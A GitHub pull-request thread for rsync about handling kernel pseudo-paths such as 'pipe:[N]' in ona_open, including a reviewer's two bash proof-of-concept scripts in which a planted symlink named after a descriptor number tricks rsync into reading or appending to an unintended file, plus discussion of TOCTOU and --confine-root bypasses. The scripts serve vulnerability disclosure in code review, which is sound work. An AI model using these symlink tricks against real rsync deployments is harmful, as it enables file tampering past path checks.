Fix ENOENT when resolving kernel pseudo-paths in ona_open - #1054
Conversation
12f8181 to
f220a9e
Compare
|
Regarding the CI: I added pseudo-paths to macos.txt and cygwin.txt since they legitimately lack Linux's native /dev/fd/ process substitution. The Ubuntu runners run and pass the test perfectly. However, the AlmaLinux runner is still failing the skip oracle (likely because the minimal almalinux:8 container is missing the bash package). I think it should be added through .github/workflows/almalinux-8-build.yml but I can't push any changes to it. |
|
@seks99x I've analyzed this through and agent and it's flagging a security regression, I don't want to post all the AI blob because I'm not familiar enough with the rsync inner-workings (and not enough time), but these POCs look sound. I wanted to post this before I get the time to investigate it deeper because I want to avoid a possible security regression. 1. The fd number comes from the symlink's filename, and the only validation is #!/bin/bash
# An ordinary symlink - nothing to do with /proc or /dev/fd - resolving to a
# descriptor rsync already holds open. Usage: bash repro-a.sh /path/to/rsync
set -u
RSYNC="${1:?usage: repro-a.sh /path/to/rsync}"
lab=$(mktemp -d); trap 'rm -rf "$lab"' EXIT
mkdir -p "$lab/src" "$lab/plant" "$lab/dest"
echo hello > "$lab/src/keep.txt"
echo hello > "$lab/src/drop.txt"
# Give rsync an inherited fd 3 holding the text "drop.txt". This stands in for
# any descriptor the rsync process happens to have open.
exec 3< <(printf 'drop.txt\n')
# The inode the kernel reports for that pipe - the number that appears inside
# the "pipe:[...]" string in /proc/self/fd, and the only thing compared.
ino=$(stat -L -c %i /proc/self/fd/3)
# Plant an ordinary symlink in an ordinary directory. Two things matter:
# * its NAME is "3" -> atoi(comp), then fstat(3) on *rsync's own* fd table
# * its TARGET is text, not a path -> matches the "pipe:[" prefix test
# The link is dangling. It is owned by us, i.e. by the euid rsync runs as,
# which is precisely the case ona_open() follows by design.
ln -sfn "pipe:[$ino]" "$lab/plant/3"
echo "planted: $lab/plant/3 -> $(readlink "$lab/plant/3")"
"$RSYNC" -a --exclude-from="$lab/plant/3" "$lab/src/" "$lab/dest/"
echo "exit status: $?"
echo "transferred: $(ls "$lab/dest" | tr '\n' ' ')"2. #!/bin/bash
# The same mechanism reaching a WRITE: --log-file lands in a file the supplied
# path never names. Usage: bash repro-b.sh /path/to/rsync
set -u
RSYNC="${1:?usage: repro-b.sh /path/to/rsync}"
lab=$(mktemp -d); trap 'rm -rf "$lab"' EXIT
mkdir -p "$lab/src" "$lab/plant" "$lab/dest"
echo hello > "$lab/src/keep.txt"
printf 'ORIGINAL-LINE-1\nORIGINAL-LINE-2\n' > "$lab/victim"
# fd 3 = a writable descriptor on the victim. Note this is a REGULAR FILE, not
# a pipe: S_ISFIFO/S_ISSOCK is never checked and st_dev is never compared, so
# only the inode number has to line up.
exec 3<> "$lab/victim"
ino=$(stat -L -c %i /proc/self/fd/3)
ln -sfn "pipe:[$ino]" "$lab/plant/3"
# --log-file asks open_no_attacker_symlinks() for O_WRONLY|O_APPEND|O_CREAT.
# dup() ignores flags and mode and returns the ORIGINAL description.
"$RSYNC" -a --log-file="$lab/plant/3" "$lab/src/" "$lab/dest/"
echo "--- $lab/victim after the run ---"; cat "$lab/victim"It also thought the branch returns without the |
|
@samueloph thank you so much for the review. |
|
The anon_inode issue is real yeah thank you for pointing this. |
|
Im thinking about handling the parent path that it is really coming from /dev/fd for example but im afraid to break a legit case which could come from another path that im not thinking of. From what im seeing UNIX like environments literally have many cases we can’t think of it easily. @steadytao @samueloph do you think it would be better to handle parent paths to make sure its getting from /proc/self or /dev/fd? From my own perspective for this to have a proper attack , the privileged process need to be opening a sensitive/privileged file and before calling close() the attacker can plant a symlink naming it as the fd number which would require also a guess. I feel its sophisticated/fanciful and wont work in real world but i want your opinions too. |
|
I will come back to this one 🤔 |
d76c80d to
5d86391
Compare
|
@steadytao I've rebased this PR on the latest master. I also updated the logic to use the new fd_pin_tail(), ensuring we only make exceptions for pseudo-paths that strictly fall under /proc/self/fd or /dev/fd like what we did with the symlinks exceptions. I think this keeps our exceptions handling clean and consistent. |
5d86391 to
f036afc
Compare
When traversing /dev/fd/ or /proc/self/fd/, the Linux kernel returns pseudo-paths like 'pipe:[123]' or 'anon_inode:inotify'. Since the parent directory is securely verified using fd_pin_tail(), this patch implicitly trusts the kernel's symlink target without requiring a strict inode match. The numeric FD is extracted from the path and safely duplicated using fcntl(F_DUPFD_CLOEXEC). Additionally, the abspath array is zero-initialized to silence Clang static analyzer warnings. This ensures bash process substitution <(cmd) and custom IPC sockets work correctly.
f036afc to
1bb3c5b
Compare
|
Looking pretty good thus far! |
4bb6dc4 to
237175c
Compare
|
@steadytao Thanks for your review! My bad I didn't thought of the flags or noticed the /proc/pid case. I modified fd_pin_tail() to handle the strict process verification to avoid a lot of redundancy here. I also manually enforced the access modes and added two new python tests to make sure we are going right. Could you recheck please? |
237175c to
903f719
Compare
…wn PID This commit addresses two critical edge cases in pseudo-path handling within ona_open() to ensure strict security boundaries: 1. Cross-PID Duplication Prevention: To prevent the unintended duplication of internal file descriptors via cross-PID paths (e.g., /proc/<victim_pid>/fd/<internal_fd>), fd_pin_tail() has been updated with a strict mode. This ensures that the dup() shortcut is exclusively limited to the current process via /proc/self/fd or /dev/fd. 2. API Contract Enforcement on dup(): Because dup() inherits the file descriptor's original access mode and status flags, it can bypass caller requirements. ona_open() now manually queries the inherited FD state via fcntl(..., F_GETFL). It explicitly rejects incompatible requests by enforcing O_ACCMODE (returning EACCES), O_DIRECTORY (returning ENOTDIR), and O_APPEND (returning EINVAL). Includes two new Python regression tests to explicitly verify cross-PID rejection and open() flag API contracts on pseudo-paths.
903f719 to
916db38
Compare
590ac6f to
7222f2d
Compare
…reams Validate `O_ACCMODE` and status flags before calling `dup()` on inherited file descriptors (such as `pipe:`, `socket:`, and `anon_inode:`). Inheriting unrequested kernel states can alter process execution, such as fatal `SIGIO` interrupts from `O_ASYNC` or unexpected `EAGAIN` failures from `O_NONBLOCK`. This patch introduces the `SHARED_STATUS_FLAGS` macro to strictly validate inherited file descriptions and reject dangerous, unrequested states with `EINVAL`. `O_APPEND` is explicitly excluded from this strict validation to preserve support for bash process substitution (e.g., `--log-file=>(...)`), which supplies `O_WRONLY` pipes. Excluding it allows internal subsystems to safely inherit the descriptor and apply `O_APPEND` dynamically via `fcntl()`. Additionally, the `O_ACCMODE` validation ensures bidirectional network streams (`O_RDWR` sockets) successfully satisfy read-only or write-only requests without being falsely rejected by exact-match checks.
7222f2d to
ce157e4
Compare
| } | ||
| /* Safely duplicate the descriptor, immune to TOCTOU symlink races */ | ||
| #ifdef F_DUPFD_CLOEXEC | ||
| retfd = fcntl(fd_num, F_DUPFD_CLOEXEC, 0); |
There was a problem hiding this comment.
This avoids silently inheriting O_NONBLOCK, but returning EINVAL still doesn’t match open(path, flags, mode) here. On Linux, reopening /proc/self/fd/N with O_RDONLY creates a blocking file description. In a delayed-writer exclude-file test, current head exits 11, while a local openat(dfd, comp, flags, mode) version waits for and applies the rule.
The updated pseudo-flags test also leaves the write end open and expects rejection, so it would time out with blocking behavior. Could we reopen the already verified numeric entry instead of duplicating it?
There was a problem hiding this comment.
tracking down all these edge cases is getting a bit tiring.
When I originally opened this PR, I actually started by reopening the descriptor with openat() and O_NOFOLLOW However, because we weren't strictly validating the parent base path at the time, using a relative openat(dfd, comp, ...) introduced a severe TOCTOU directory traversal vulnerability.
Even since we now check that the path contains a digit in the last component and the absolute path starting with /proc/self/fd or /dev/fd , this still could pose a risk also. If an attacker passed a path like /proc/self/fd/3/test/4 (where FD 3 points to an attacker-controlled directory like /tmp/), they could race the openat call and swap the 4 symlink to an arbitrary file right after our readlink validation passed.
We could hardcode the path:
Current Prefix Validation: The code now explicitly enforces that the abspath genuinely started with /proc/self/fd/ or /dev/fd/.
Absolute Path hardcoding: Instead of using a relative openat() with the abspath or target value we extract the validated integer comp and dynamically construct a hardcoded absolute path (/proc/self/fd/%d) %d since we already validated it correctly ( last component, is digit and in our process ). Then calling open() on this hardcoded path should be safe i guess.
Hopefully, this finally puts these boundary issues to rest!
@steadytao what do you think? I feel handling this perfectly using dup() is getting complex/dangerous.
I’ll push updates tomorrow.
There was a problem hiding this comment.
Reopening is the right approach. The TOCTOU example does not apply if this remains restricted to an exact numeric final component beneath the already verified and pinned /proc/self/fd directory; /proc/self/fd/3/test/4 must be rejected before this branch because 3 is not the leaf. I would use openat(dfd, comp, (flags & ~O_NOFOLLOW) | O_CLOEXEC, mode) rather than rebuilding an absolute path so the verified dirfd remains the authority boundary and the kernel applies the callers actual open() flags. If reopening a socket or anonymous inode fails, let it fail rather than falling back to dup(). We also still need to refuse anonymous pseudo-objects while --confine-root is active because they cannot be proven to reside beneath that root.
| retfd = dup(fd_num); | ||
| #endif | ||
| saved_errno = (retfd >= 0) ? 0 : errno; | ||
| goto out; |
There was a problem hiding this comment.
This return still happens before the --confine-root check below. I reproduced it with a per-directory merge that names an inherited /proc/self/fd/N pipe: current head reads the pipe and applies its rule even though the anonymous object has no target beneath the confined root.
Could we apply the confinement decision before returning and add an in-band merge regression? A command-line --exclude-from test is opened too early to exercise this boundary.
Fixes #1053
What was added:
This PR patches ona_open() to properly handle Linux kernel pseudo-paths (pipes, sockets, etc.) generated by Bash process substitution without triggering an ENOENT error.
String-based detection: After readlinkat() successfully resolves a trusted symlink (like /dev/fd/63), the code now checks if the target is a kernel pseudo-path (pipe:[, socket:[, or anon_inode:[).
Enforcing Leaf Nodes: Added an if (!is_last) check to immediately return ENOTDIR if an operator attempts to traverse a pipe or socket like a directory.
Dropping O_NOFOLLOW: If the pseudo-path passes the above security checks, the function calls openat(dfd, comp, flags & ~O_NOFOLLOW, mode). By dropping the O_NOFOLLOW flag on the final component, we allow the kernel to hook the process into the memory object without treating it as a physical file on disk.